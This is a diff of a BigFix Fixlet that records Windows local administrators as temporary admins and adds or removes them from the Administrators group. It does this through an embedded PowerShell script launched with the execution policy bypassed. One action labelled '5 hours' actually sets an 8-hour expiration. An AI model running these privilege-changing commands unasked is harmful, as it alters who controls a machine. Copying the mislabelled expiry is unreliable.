-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-    <Action ID="Action25219">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to grant all local administrators temporary administrative rights permanently.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
-// -Current Temporary Administrators
-// -Local Admin Account (Can't Remove)
-
-parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
-parameter "TimeStamp"="{now}"
-parameter "Start"="{now}"
-parameter "Expiration"="{now + (1000000 * week)}"
-parameter "Switches"="-Grant -Admin"
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete rightshandler.ps1
-
-createfile until _end_
-param (
-    $SIDS,
-    $TimeStamp,
-    $Start,
-    $Expiration,
-    [switch]$Grant,
-    [switch]$Revoke,
-    [switch]$Admin,
-    [switch]$Requestor
-)
-
-function write-log {{
-    param (
-        $Message,
-        [ValidateSet("Verbose","Grant","Revoke")]
-        $Type = "Verbose"
-    )
-
-    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
-    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
-    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
-
-    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
-    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
-
-    write-verbose $Message
-    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
-}
-
-
-function new-registrystructure {{
-    param (
-        $Path
-    )
-    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
-
-    return "$Path"
-}
-
-if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
-    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
-} else {{
-    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
-}
-
-$Store = @{{
-    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
-
-    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
-    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
-    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
-
-    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
-    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
-    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
-}
-
-#Build Registry Store
-foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
-
-function get-UserFromSID {{
-    param (
-        $SID
-    )
-    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
-    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
-
-    return $objName.Value
-}
-
-foreach ($SID in $SIDS.split(";")){{
-
-    $UserWithDomain = get-UserFromSID $SID
-
-    if ($Grant -and $Requestor) {{
-        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
-
-        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
-
-        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Revoke -and $Requestor) {{
-        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
-
-        # Create \Expired Authorized Requestors\SID\TimeStamp
-        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
-        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
-
-        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
-        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
-        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
-    }
-
-    if ($Admin -and $Grant) {{
-        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
-
-        #Add User to Current Temp Admins
-        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
-
-        #Log User's Temporary Administrator Access
-        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
-        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
-
-        #Grant User Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /add
-    }
-
-    if ($Admin -and $Revoke) {{
-        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
-
-        #Revoke User's Administrative Access
-        & net localgroup "administrators" "$UserWithDomain" /delete
-
-        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
-        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
-
-        #Copy from Current and add timestamp+revoke time
-        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
-
-        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
-    }
-
-}
-_end_
-
-move __createfile rightshandler.ps1
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
-]]></ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Invoke - Convert Permanent Administrators to Temporary Administrators - Windows
+  ID       : 24157
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-05-02T07:25:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Invoke - Convert Permanent Administrators to Temporary Administrators - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet cycles through all explicitely defined local administrators and marks them as temporary administrators. This can be used to expire administrative rights over time.</P>
+<P>This fixlet by itself does not remove their administartive rights when the expiration time passes. Removing their access requires&nbsp;the, "Invoke - Remove Expired Users from Temporary Administrators - Windows" fixlet to be run as a policy action.</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[(number of elements of it > 0) of (  /* Add All Explicit Members of Administrators */ set of component strings of (sids of members of local group "Administrators") whose (exists user of it)   /* Subtract Current Temporary Administrators */ - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry   /* Subtract Local Administrator (Can't Remove) */ - set of component string of sid of user "Administrator"  )]]></Relevance>
+    <Category>Temporary Administrative Rights</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-04-25</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant all local administrators temporary administrative rights for 1 hour.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1 * hour)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+      <SuccessCriteria Option="RunToCompletion"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action25216">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant all local administrators temporary administrative rights for&amp;nbsp;5 hours.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (8 * hour)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+
+        #Grant User Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /add
+    }
+
+    if ($Admin -and $Revoke) {{
+        write-log "Revoking Administrative Rights from $UserWithDomain with SID: $SID" -type Revoke
+
+        #Revoke User's Administrative Access
+        & net localgroup "administrators" "$UserWithDomain" /delete
+
+        $CurrentAdministrator = "$($Store.'Current Administrators')\$SID"
+        $ExpiredAdministrator = new-registrystructure -Path "$($Store.'Expired Administrators')\$SID"
+
+        #Copy from Current and add timestamp+revoke time
+        Move-Item -Path $CurrentAdministrator -Destination "$ExpiredAdministrator\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        New-ItemProperty "$ExpiredAdministrator\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue
+    }
+
+}
+_end_
+
+move __createfile rightshandler.ps1
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -File "rightshandler.ps1" -SIDS "{parameter "SIDS"}" -TimeStamp "{parameter "TimeStamp"}" -Start "{parameter "Start"}" -Expiration "{parameter "Expiration"}" {parameter "Switches"}
+]]></ActionScript>
+    </Action>
+    <Action ID="Action25217">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to grant all local administrators temporary administrative rights for 1 day.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// +All Explicit Members of Administrators
+// -Current Temporary Administrators
+// -Local Admin Account (Can't Remove)
+
+parameter "SIDS"="{concatenations ";" of elements of (set of component strings of (sids of members of local group "Administrators") whose (exists user of it) - set of names of keys of keys "HKEY_LOCAL_MACHINE\Software\C3 Inventory\Temporary Administrative Rights\Administrators\Current" of x32 registry - set of component string of sid of user "Administrator")}"
+parameter "TimeStamp"="{now}"
+parameter "Start"="{now}"
+parameter "Expiration"="{now + (1 * day)}"
+parameter "Switches"="-Grant -Admin"
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete rightshandler.ps1
+
+createfile until _end_
+param (
+    $SIDS,
+    $TimeStamp,
+    $Start,
+    $Expiration,
+    [switch]$Grant,
+    [switch]$Revoke,
+    [switch]$Admin,
+    [switch]$Requestor
+)
+
+function write-log {{
+    param (
+        $Message,
+        [ValidateSet("Verbose","Grant","Revoke")]
+        $Type = "Verbose"
+    )
+
+    if ($Type -like "Verbose") {{ $ID = 1337; $EntryType = "Information" }
+    if ($Type -like "Grant") {{ $ID = 1338; $EntryType = "Information" }
+    if ($Type -like "Revoke") {{ $ID = 1339; $EntryType = "Information" }
+
+    New-EventLog -LogName "C3 Temporary Administrative Rights" -Source "Rights Handler" -ErrorAction SilentlyContinue
+    # Limit-EventLog -LogName "C3 Temporary Administrative Rights" -Retention 28 -ErrorAction SilentlyContinue
+
+    write-verbose $Message
+    write-eventlog -logname "C3 Temporary Administrative Rights" -source "Rights Handler" -eventID $ID -EntryType $EntryType -message "$Message"
+}
+
+
+function new-registrystructure {{
+    param (
+        $Path
+    )
+    if (!(test-path $Path)) {{ new-item $Path -force -ErrorAction SilentlyContinue | out-null}
+
+    return "$Path"
+}
+
+if ($env:PROCESSOR_ARCHITECTURE -eq "amd64") {{
+    $SoftwareROOT = "HKLM:\Software\Wow6432Node\C3 Inventory"
+} else {{
+    $SoftwareROOT = "HKLM:\Software\C3 Inventory"
+}
+
+$Store = @{{
+    "Temporary Administrative Rights Root" = "$SoftwareROOT\Temporary Administrative Rights";
+
+    "Authorized Requestors Root" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors";
+    "Current Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Current";
+    "Expired Authorized Requestors" = "$SoftwareROOT\Temporary Administrative Rights\Authorized Requestors\Expired";
+
+    "Administrators Root" = "$SoftwareROOT\Temporary Administrative Rights\Administrators";
+    "Current Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Current";
+    "Expired Administrators" = "$SoftwareROOT\Temporary Administrative Rights\Administrators\Expired";
+}
+
+#Build Registry Store
+foreach ($Item in $Store.GetEnumerator()) {{ new-registrystructure -Path $Item.Value | out-null }
+
+function get-UserFromSID {{
+    param (
+        $SID
+    )
+    $objSID = New-Object System.Security.Principal.SecurityIdentifier($SID)
+    $objName = $objSID.Translate( [System.Security.Principal.NTAccount])
+
+    return $objName.Value
+}
+
+foreach ($SID in $SIDS.split(";")){{
+
+    $UserWithDomain = get-UserFromSID $SID
+
+    if ($Grant -and $Requestor) {{
+        write-log "Granting Authorized Requestor to $UserWithDomain with SID: $SID" -Type Grant
+
+        $NewAuthorizedRequestor = new-registrystructure -Path "$($Store.'Current Authorized Requestors')\$SID"
+
+        New-ItemProperty $NewAuthorizedRequestor -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAuthorizedRequestor -Name "Expiration" -Value $Expiration     -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Revoke -and $Requestor) {{
+        write-log "Revoking Authorized Requestor from $UserWithDomain with SID: $SID" -Type Revoke
+
+        # Create \Expired Authorized Requestors\SID\TimeStamp
+        $CurrentAuthorizedRequestor = "$($Store.'Current Authorized Requestors')\$SID"
+        $ExpiredAuthorizedRequestor = new-registrystructure -Path "$($Store.'Expired Authorized Requestors')\$SID"
+
+        #Copy All Attributes from \Current Authorized Requestors\SID to \Expired Authorized Requestors\SID\Timestamp
+        Move-Item -Path $CurrentAuthorizedRequestor -Destination "$ExpiredAuthorizedRequestor\$Timestamp" -ErrorAction SilentlyContinue | out-null
+
+        #Add a Revocation time in \Expired Authorized Requestors\SID\Timestamp
+        New-ItemProperty "$ExpiredAuthorizedRequestor\$Timestamp" -Name "Revoked" -value "$TimeStamp" -ErrorAction SilentlyContinue | out-null
+    }
+
+    if ($Admin -and $Grant) {{
+        write-log "Granting Administrative Rights to $UserWithDomain with SID: $SID" -Type Grant
+
+        #Add User to Current Temp Admins
+        $NewAdministrator = new-registrystructure -Path "$($Store.'Current Administrators')\$SID"
+
+        #Log User's Temporary Administrator Access
+        New-ItemProperty $NewAdministrator -Name "Username"   -Value $UserWithDomain -ErrorAction SilentlyContinue | out-null
+        New-ItemProperty $NewAdministrator -Name "Start"      -Value $Start          -ErrorAction SilentlyContinue | out-null
